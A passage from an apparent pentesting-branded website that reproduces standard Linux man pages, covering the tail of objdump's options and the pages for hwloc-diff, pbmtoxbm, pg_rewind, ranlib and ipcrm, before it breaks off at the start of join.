Displays the contents of the .debug_cu_index and/or .debug_tu_index sections.

“f”

“=frames”

Display the raw contents of a .debug_frame section.

“F”

“=frames-interp”

Display the interpreted contents of a .debug_frame section.

“g”

“=gdb_index”

Displays the contents of the .gdb_index and/or .debug_names sections.

“i”

“=info”

Displays the contents of the .debug_info section. Note: the output from this option can also be restricted by the use of the –dwarf-depth and –dwarf-start options.

“k”

“=links”

Displays the contents of the .gnu_debuglink, .gnu_debugaltlink and .debug_sup sections, if any of them are present. Also displays any links to separate dwarf object files (dwo), if they are specified by the DW_AT_GNU_dwo_name or DW_AT_dwo_name attributes in the .debug_info section.

“K”

“=follow-links”

Display the contents of any selected debug sections that are found in linked, separate debug info file(s). This can result in multiple versions of the same debug section being displayed if it exists in more than one file. In addition, when displaying DWARF attributes, if a form is found that references the separate debug info file, then the referenced contents will also be displayed. Note - in some distributions this option is enabled by default. It can be disabled via the N debug option. The default can be chosen when configuring the binutils via the –enable-follow-debug-links=yes or –enable-follow-debug-links=no options. If these are not used then the default is to enable the following of debug links. Note - if support for the debuginfod protocol was enabled when the binutils were built then this option will also include an attempt to contact any debuginfod servers mentioned in the DEBUGINFOD_URLS environment variable. This could take some time to resolve. This behaviour can be disabled via the =do-not-use-debuginfod debug option.

“N”

“=no-follow-links”

Disables the following of links to separate debug info files.

“D”

“=use-debuginfod”

Enables contacting debuginfod servers if there is a need to follow debug links. This is the default behaviour.

“E”

“=do-not-use-debuginfod”

Disables contacting debuginfod servers when there is a need to follow debug links.

“l”

“=rawline”

Displays the contents of the .debug_line section in a raw format.

“L”

“=decodedline”

Displays the interpreted contents of the .debug_line section.

“m”

“=macro”

Displays the contents of the .debug_macro and/or .debug_macinfo sections.

“o”

“=loc”

Displays the contents of the .debug_loc and/or .debug_loclists sections.

“O”

“=str-offsets”

Displays the contents of the .debug_str_offsets section.

“p”

“=pubnames”

Displays the contents of the .debug_pubnames and/or .debug_gnu_pubnames sections.

“r”

“=aranges”

Displays the contents of the .debug_aranges section.

“R”

“=Ranges”

Displays the contents of the .debug_ranges and/or .debug_rnglists sections.

“s”

“=str”

Displays the contents of the .debug_str, .debug_line_str and/or .debug_str_offsets sections.

“t”

“=pubtype”

Displays the contents of the .debug_pubtypes and/or .debug_gnu_pubtypes sections.

“T”

“=trace_aranges”

Displays the contents of the .trace_aranges section.

“u”

“=trace_abbrev”

Displays the contents of the .trace_abbrev section.

“U”

“=trace_info”

Displays the contents of the .trace_info section.

Note: displaying the contents of .debug_static_funcs, .debug_static_vars and debug_weaknames sections is not currently supported.

–dwarf-depth=n
Limit the dump of the .debug_info section to n children. This is only useful with –debug-dump=info. The default is to print all DIEs; the special value 0 for n will also have this effect. With a non-zero value for n, DIEs at or deeper than n levels will not be printed. The range for n is zero-based.

–dwarf-start=n
Print only DIEs beginning with the DIE numbered n. This is only useful with –debug-dump=info. If specified, this option will suppress printing of any header information and all DIEs before the DIE numbered n. Only siblings and children of the specified DIE will be printed. This can be used in conjunction with –dwarf-depth.

–dwarf-check
Enable additional checks for consistency of Dwarf information.

–ctf[=section]
Display the contents of the specified CTF section. CTF sections themselves contain many subsections, all of which are displayed in order. By default, display the name of the section named .ctf, which is the name emitted by ld.

–ctf-parent=member
If the CTF section contains ambiguously-defined types, it will consist of an archive of many CTF dictionaries, all inheriting from one dictionary containing unambiguous types. This member is by default named .ctf, like the section containing it, but it is possible to change this name using the ctf_link_set_memb_name_changer function at link time. When looking at CTF archives that have been created by a linker that uses the name changer to rename the parent archive member, –ctf-parent can be used to specify the name used for the parent.

–ctf-parent-section=section
This option lets you pick a completely different section for the CTF parent dictionary containing unambiguous types than for the child dictionaries that contain the ambiguous remainder. The linker does not emit ELF objects structured like this, but some third-party linkers may. It’s also convenient to inspect CTF written out as multiple raw files to compose them with objcopy, which can put them in different ELF sections but not in different members of a single CTF dict.

–sframe[=section]
Display the contents of the specified SFrame section. By default, display the name of the section named .sframe, which is the name emitted by ld.

-G

–stabs

Display the full contents of any sections requested. Display the contents of the .stab and .stab.index and .stab.excl sections from an ELF file. This is only useful on systems (such as Solaris 2.0) in which .stab debugging symbol-table entries are carried in an ELF section. In most other file formats, debugging symbol-table entries are interleaved with linkage symbols, and are visible in the –syms output.

–start-address=address
Start displaying data at the specified address. This affects the output of the -d, -r and -s options.

–stop-address=address
Stop displaying data at the specified address. This affects the output of the -d, -r and -s options.

-t

–syms

Print the symbol table entries of the file. This is similar to the information provided by the nm program, although the display format is different. The format of the output depends upon the format of the file being dumped, but there are two main types. One looks like this: [ 4](sec 3)(fl 0x00)(ty 0)(scl 3) (nx 1) 0x00000000 .bss [ 6](sec 1)(fl 0x00)(ty 0)(scl 2) (nx 0) 0x00000000 fred where the number inside the square brackets is the number of the entry in the symbol table, the sec number is the section number, the fl value are the symbol’s flag bits, the ty number is the symbol’s type, the scl number is the symbol’s storage class and the nx value is the number of auxiliary entries associated with the symbol. The last two fields are the symbol’s value and its name. The other common output format, usually seen with ELF based files, looks like this: 00000000 l d .bss 00000000 .bss 00000000 g .text 00000000 fred Here the first number is the symbol’s value (sometimes referred to as its address). The next field is actually a set of characters and spaces indicating the flag bits that are set on the symbol. These characters are described below. Next is the section with which the symbol is associated or *ABS* if the section is absolute (ie not connected with any section), or *UND* if the section is referenced in the file being dumped, but not defined there. After the section name comes another field, a number, which for common symbols is the alignment and for other symbol is the size. Finally the symbol’s name is displayed. The flag characters are divided into 7 groups as follows:

“l”

“g”

“u”

“!”

The symbol is a local (l), global (g), unique global (u), neither global nor local (a space) or both global and local (!). A symbol can be neither local or global for a variety of reasons, e.g., because it is used for debugging, but it is probably an indication of a bug if it is ever both local and global. Unique global symbols are a GNU extension to the standard set of ELF symbol bindings. For such a symbol the dynamic linker will make sure that in the entire process there is just one symbol with this name and type in use.

“w”
The symbol is weak (w) or strong (a space).

“C”
The symbol denotes a constructor (C) or an ordinary symbol (a space).

“W”
The symbol is a warning (W) or a normal symbol (a space). A warning symbol’s name is a message to be displayed if the symbol following the warning symbol is ever referenced.

“I”

“i”

The symbol is an indirect reference to another symbol (I), a function to be evaluated during reloc processing (i) or a normal symbol (a space).

“d”

“D”

The symbol is a debugging symbol (d) or a dynamic symbol (D) or a normal symbol (a space).

“F”

“f”

“O”

The symbol is the name of a function (F) or a file (f) or an object (O) or just a normal symbol (a space).

-T

–dynamic-syms

Print the dynamic symbol table entries of the file. This is only meaningful for dynamic objects, such as certain types of shared libraries. This is similar to the information provided by the nm program when given the -D (–dynamic) option. The output format is similar to that produced by the –syms option, except that an extra field is inserted before the symbol’s name, giving the version information associated with the symbol. If the version is the default version to be used when resolving unversioned references to the symbol then it’s displayed as is, otherwise it’s put into parentheses.

–special-syms
When displaying symbols include those which the target considers to be special in some way and which would not normally be of interest to the user.

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment. The –unicode=locale option displays the sequence in the current locale, which may or may not support them. The options –unicode=hex and –unicode=invalid display them as hex byte sequences enclosed by either angle brackets or curly braces. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-V

–version

Print the version number of objdump and exit.

-x

–all-headers

Display all available header information, including the symbol table and relocation entries. Using -x is equivalent to specifying all of -a -f -h -p -r -t.

-w

–wide

Format some lines for output devices that have more than 80 columns. Also do not truncate symbol names when they are displayed.

-z

–disassemble-zeroes

Normally the disassembly output will skip blocks of zeroes. This option directs the disassembler to disassemble those blocks, just like any other data.

-Z

–decompress

The -Z option is meant to be used in conunction with the -s option. It instructs objdump to decompress any compressed sections before displaying their contents.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

nm (1), readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2166 - Linux cli command hwloc-diff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-diff and provides detailed information about the command hwloc-diff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-diff.

NAME 🖥️ hwloc-diff 🖥️

diff - Compute differences between two XML topologies

SYNOPSIS

hwloc-diff [options] <input1.xml> <input2.xml>

hwloc-diff [options] <input1.xml> <input2.xml> <output.xml>

OPTIONS

–refname <name>
Use <name> as the identifier for the reference topology in the output XML difference. It is meant to tell which topology should be used when applying the resulting difference. hwloc-patch may use that name to automatically load the relevant reference topology XML. By default, <input1.xml> is used without its full path.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

hwloc-diff computes the difference between two XML topologies and stores the result into <output.xml> if any, or dumps it to stdout otherwise.

The output difference may later be applied to another topology with hwloc-patch.

hwloc-compress-dir may be used for computing the diffs between all XML files in a directory.

NOTE: If some application-specific userdata were been exported to the input XMLs, they will be ignored and discarded from the output because hwloc has no way to understand and compare them.

NOTE: It is highly recommended that you read the hwloc(7) overview page before reading this man page. Most of the concepts described in hwloc(7) directly apply to the hwloc-diff utility.

EXAMPLES

hwloc-diff’s operation is best described through several examples.

Compute the difference between two XML topologies and output it to stdout:

$ hwloc-diff fourmi023.xml fourmi024.xml Found 11 differences, exporting to stdout <?xml version=“1.0” encoding=“UTF-8”?> …

Output the difference to file diff.xml instead:

$ hwloc-diff fourmi023.xml fourmi024.xml diff.xml Found 11 differences, exporting to diff.xml

When the difference is too complex to be represented:

$ hwloc-diff fourmi023.xml avakas-frontend1.xml Found 1 differences, including 1 too complex ones. Cannot export differences to stdout

Directly compute the difference between two topologies and apply it to another one:

$ hwloc-diff fourmi023.xml fourmi024.xml | hwloc-patch fourmi025.xml -

RETURN VALUE

Upon successful execution, hwloc-diff outputs the difference. The return value is 0.

If the difference is too complex to be represented, an error is returned and the output is not generated.

hwloc-diff also returns nonzero if any kind of error occurs, such as (but not limited to) failure to parse the command line.

SEE ALSO

hwloc(7), lstopo(1), hwloc-patch(1), hwloc-compress-dir(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2167 - Linux cli command pbmtoxbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoxbm and provides detailed information about the command pbmtoxbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoxbm.

.

NAME 🖥️ pbmtoxbm 🖥️

convert a PBM image to an X11 bitmap

SYNOPSIS

pbmtoxbm

[{-x10|-x11}]

[pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtoxbm reads a PBM image as input and produces an X10 or X11 bitmap as output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtoxbm recognizes the following command line options:

-x10
This option causes pbmtoxbm to generate the X10 version of XBM.

You may not specify this with -x11.

This option was new with Netpbm 10.37 (December 2006). Before that, use pbmtox10bm instead.

-x11
This option causes pbmtoxbm to generate the X11 version of XBM.

You may not specify this with -x10.

The X11 version is the default, so this option has no effect.

This option was new with Netpbm 10.37 (December 2006).

SEE ALSO

pbmtox10bm(1) , xbmtopbm(1) , pbm(1)

AUTHOR

Copyright (C) 1988 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoxbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2168 - Linux cli command pg_rewind

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_rewind and provides detailed information about the command pg_rewind, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_rewind.

NAME 🖥️ pg_rewind 🖥️

synchronize a PostgreSQL data directory with another data directory that was forked from it

SYNOPSIS

pg_rewind [option…] {-D | –target-pgdata} directory {**–source-pgdata=**directory | **–source-server=**connstr}

DESCRIPTION

pg_rewind is a tool for synchronizing a PostgreSQL cluster with another copy of the same cluster, after the clusters timelines have diverged. A typical scenario is to bring an old primary server back online after failover as a standby that follows the new primary.

After a successful rewind, the state of the target data directory is analogous to a base backup of the source data directory. Unlike taking a new base backup or using a tool like rsync, pg_rewind does not require comparing or copying unchanged relation blocks in the cluster. Only changed blocks from existing relation files are copied; all other files, including new relation files, configuration files, and WAL segments, are copied in full. As such the rewind operation is significantly faster than other approaches when the database is large and only a small fraction of blocks differ between the clusters.

pg_rewind examines the timeline histories of the source and target clusters to determine the point where they diverged, and expects to find WAL in the target clusters pg_wal directory reaching all the way back to the point of divergence. The point of divergence can be found either on the target timeline, the source timeline, or their common ancestor. In the typical failover scenario where the target cluster was shut down soon after the divergence, this is not a problem, but if the target cluster ran for a long time after the divergence, its old WAL files might no longer be present. In this case, you can manually copy them from the WAL archive to the pg_wal directory, or run pg_rewind with the -c option to automatically retrieve them from the WAL archive. The use of pg_rewind is not limited to failover, e.g., a standby server can be promoted, run some write transactions, and then rewound to become a standby again.

After running pg_rewind, WAL replay needs to complete for the data directory to be in a consistent state. When the target server is started again it will enter archive recovery and replay all WAL generated in the source server from the last checkpoint before the point of divergence. If some of the WAL was no longer available in the source server when pg_rewind was run, and therefore could not be copied by the pg_rewind session, it must be made available when the target server is started. This can be done by creating a recovery.signal file in the target data directory and by configuring a suitable restore_command in postgresql.conf.

pg_rewind requires that the target server either has the wal_log_hints option enabled in postgresql.conf or data checksums enabled when the cluster was initialized with initdb. Neither of these are currently on by default. full_page_writes must also be set to on, but is enabled by default.

Warning: Failures While Rewinding

If pg_rewind fails while processing, then the data folder of the target is likely not in a state that can be recovered. In such a case, taking a new fresh backup is recommended.

As pg_rewind copies configuration files entirely from the source, it may be required to correct the configuration used for recovery before restarting the target server, especially if the target is reintroduced as a standby of the source. If you restart the server after the rewind operation has finished but without configuring recovery, the target may again diverge from the primary.

pg_rewind will fail immediately if it finds files it cannot write directly to. This can happen for example when the source and the target server use the same file mapping for read-only SSL keys and certificates. If such files are present on the target server it is recommended to remove them before running pg_rewind. After doing the rewind, some of those files may have been copied from the source, in which case it may be necessary to remove the data copied and restore back the set of links used before the rewind.

OPTIONS

pg_rewind accepts the following command-line arguments:

-D directory
**–target-pgdata=**directory

This option specifies the target data directory that is synchronized with the source. The target server must be shut down cleanly before running pg_rewind

**–source-pgdata=**directory

Specifies the file system path to the data directory of the source server to synchronize the target with. This option requires the source server to be cleanly shut down.

**–source-server=**connstr

Specifies a libpq connection string to connect to the source PostgreSQL server to synchronize the target with. The connection must be a normal (non-replication) connection with a role having sufficient permissions to execute the functions used by pg_rewind on the source server (see Notes section for details) or a superuser role. This option requires the source server to be running and accepting connections.

-R
–write-recovery-conf

Create standby.signal and append connection settings to postgresql.auto.conf in the output directory. –source-server is mandatory with this option.

-n
–dry-run

Do everything except actually modifying the target directory.

-N
–no-sync

By default, pg_rewind will wait for all files to be written safely to disk. This option causes pg_rewind to return without waiting, which is faster, but means that a subsequent operating system crash can leave the data directory corrupt. Generally, this option is useful for testing but should not be used on a production installation.

-P
–progress

Enables progress reporting. Turning this on will deliver an approximate progress report while copying data from the source cluster.

-c
–restore-target-wal

Use restore_command defined in the target cluster configuration to retrieve WAL files from the WAL archive if these files are no longer available in the pg_wal directory.

**–config-file=**filename

Use the specified main server configuration file for the target cluster. This affects pg_rewind when it uses internally the postgres command for the rewind operation on this cluster (when retrieving restore_command with the option -c/–restore-target-wal and when forcing a completion of crash recovery).

–debug

Print verbose debugging output that is mostly useful for developers debugging pg_rewind.

–no-ensure-shutdown

pg_rewind requires that the target server is cleanly shut down before rewinding. By default, if the target server is not shut down cleanly, pg_rewind starts the target server in single-user mode to complete crash recovery first, and stops it. By passing this option, pg_rewind skips this and errors out immediately if the server is not cleanly shut down. Users are expected to handle the situation themselves in that case.

-V
–version

Display version information, then exit.

-?
–help

Show help, then exit.

ENVIRONMENT

When –source-server option is used, pg_rewind also uses the environment variables supported by libpq (see Section 34.15).

The environment variable PG_COLOR specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

NOTES

When executing pg_rewind using an online cluster as source, a role having sufficient permissions to execute the functions used by pg_rewind on the source cluster can be used instead of a superuser. Here is how to create such a role, named rewind_user here:

CREATE USER rewind_user LOGIN; GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text, boolean, boolean) TO rewind_user; GRANT EXECUTE ON function pg_catalog.pg_stat_file(text, boolean) TO rewind_user; GRANT EXECUTE ON function pg_catalog.pg_read_binary_file(text) TO rewind_user; GRANT EXECUTE ON function pg_catalog.pg_read_binary_file(text, bigint, bigint, boolean) TO rewind_user;

How It Works

The basic idea is to copy all file system-level changes from the source cluster to the target cluster:

1.

Scan the WAL log of the target cluster, starting from the last checkpoint before the point where the source clusters timeline history forked off from the target cluster. For each WAL record, record each data block that was touched. This yields a list of all the data blocks that were changed in the target cluster, after the source cluster forked off. If some of the WAL files are no longer available, try re-running pg_rewind with the -c option to search for the missing files in the WAL archive.

2.

Copy all those changed blocks from the source cluster to the target cluster, either using direct file system access (–source-pgdata) or SQL (–source-server). Relation files are now in a state equivalent to the moment of the last completed checkpoint prior to the point at which the WAL timelines of the source and target diverged plus the current state on the source of any blocks changed on the target after that divergence.

3.

Copy all other files, including new relation files, WAL segments, pg_xact, and configuration files from the source cluster to the target cluster. Similarly to base backups, the contents of the directories pg_dynshmem/, pg_notify/, pg_replslot/, pg_serial/, pg_snapshots/, pg_stat_tmp/, and pg_subtrans/ are omitted from the data copied from the source cluster. The files backup_label, tablespace_map, pg_internal.init, postmaster.opts, postmaster.pid and .DS_Store as well as any file or directory beginning with pgsql_tmp, are omitted.

4.

Create a backup_label file to begin WAL replay at the checkpoint created at failover and configure the pg_control file with a minimum consistency LSN defined as the result of pg_current_wal_insert_lsn() when rewinding from a live source or the last checkpoint LSN when rewinding from a stopped source.

5.

When starting the target, PostgreSQL replays all the required WAL, resulting in a data directory in a consistent state.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2169 - Linux cli command x86_64-linux-gnu-ranlib

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-ranlib and provides detailed information about the command x86_64-linux-gnu-ranlib, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-ranlib.

NAME 🖥️ x86_64-linux-gnu-ranlib 🖥️

generate an index to an archive

SYNOPSIS

ranlib [–plugin name] [-DhHvVt] archive

DESCRIPTION

ranlib generates an index to the contents of an archive and stores it in the archive. The index lists each symbol defined by a member of an archive that is a relocatable object file.

You may use nm -s or nm –print-armap to list this index.

An archive with such an index speeds up linking to the library and allows routines in the library to call each other without regard to their placement in the archive.

The GNU ranlib program is another form of GNU ar; running ranlib is completely equivalent to executing ar -s.

OPTIONS

-h

-H

–help

Show usage information for ranlib.

-v

-V

–version

Show the version number of ranlib.

-D
Operate in deterministic mode. The symbol map archive member’s header will show zero for the UID, GID, and timestamp. When this option is used, multiple runs will produce identical output files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, described below.

-t
Update the timestamp of the symbol map of an archive.

-U
Do not operate in deterministic mode. This is the inverse of the -D option, above: the archive index will get actual UID, GID, timestamp, and file mode values. If binutils was configured without –enable-deterministic-archives, then this mode is on by default.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), nm (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2170 - Linux cli command ipcrm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ipcrm and provides detailed information about the command ipcrm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ipcrm.

NAME 🖥️ ipcrm 🖥️

remove certain IPC resources

SYNOPSIS

ipcrm [options]

ipcrm [shm|msg|sem] ID

DESCRIPTION

ipcrm removes System V inter-process communication (IPC) objects and associated data structures from the system. In order to delete such objects, you must be superuser, or the creator or owner of the object.

System V IPC objects are of three types: shared memory, message queues, and semaphores. Deletion of a message queue or semaphore object is immediate (regardless of whether any process still holds an IPC identifier for the object). A shared memory object is only removed after all currently attached processes have detached (shmdt(2)) the object from their virtual address space.

Two syntax styles are supported. The old Linux historical syntax specifies a three-letter keyword indicating which class of object is to be deleted, followed by one or more IPC identifiers for objects of this type.

The SUS-compliant syntax allows the specification of zero or more objects of all three types in a single command line, with objects specified either by key or by identifier (see below). Both keys and identifiers may be specified in decimal, hexadecimal (specified with an initial 0x or 0X), or octal (specified with an initial 0).

The details of the removes are described in shmctl(2), msgctl(2), and semctl(2). The identifiers and keys can be found by using ipcs(1).

OPTIONS

-a, –all [shm] [msg] [sem]

Remove all resources. When an option argument is provided, the removal is performed only for the specified resource types.

Warning! Do not use -a if you are unsure how the software using the resources might react to missing objects. Some programs create these resources at startup and may not have any code to deal with an unexpected disappearance.

-M, –shmem-key shmkey

Remove the shared memory segment created with shmkey after the last detach is performed.

-m, –shmem-id shmid

Remove the shared memory segment identified by shmid after the last detach is performed.

-Q, –queue-key msgkey

Remove the message queue created with msgkey.

-q, –queue-id msgid

Remove the message queue identified by msgid.

-S, –semaphore-key semkey

Remove the semaphore created with semkey.

-s, –semaphore-id semid

Remove the semaphore identified by semid.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

NOTES

In its first Linux implementation, ipcrm used the deprecated syntax shown in the second line of the SYNOPSIS. Functionality present in other *nix implementations of ipcrm has since been added, namely the ability to delete resources by key (not just identifier), and to respect the same command-line syntax. For backward compatibility the previous syntax is still supported.

SEE ALSO

ipcmk(1), ipcs(1), msgctl(2), msgget(2), semctl(2), semget(2), shmctl(2), shmdt(2), shmget(2), ftok(3), sysvipc(7)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The ipcrm command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2171 - Linux cli command join

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command join and provides detailed information about the command join, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the join.

NAME 🖥️ join 🖥️

join lines of two files on a common field

SYNOPSIS

join [OPTION]… FILE1 FILE2

DESCRIPTION

For each pair of input lines with identical join fields, write a line to standard output. The default join field is the first, delimited by blanks.

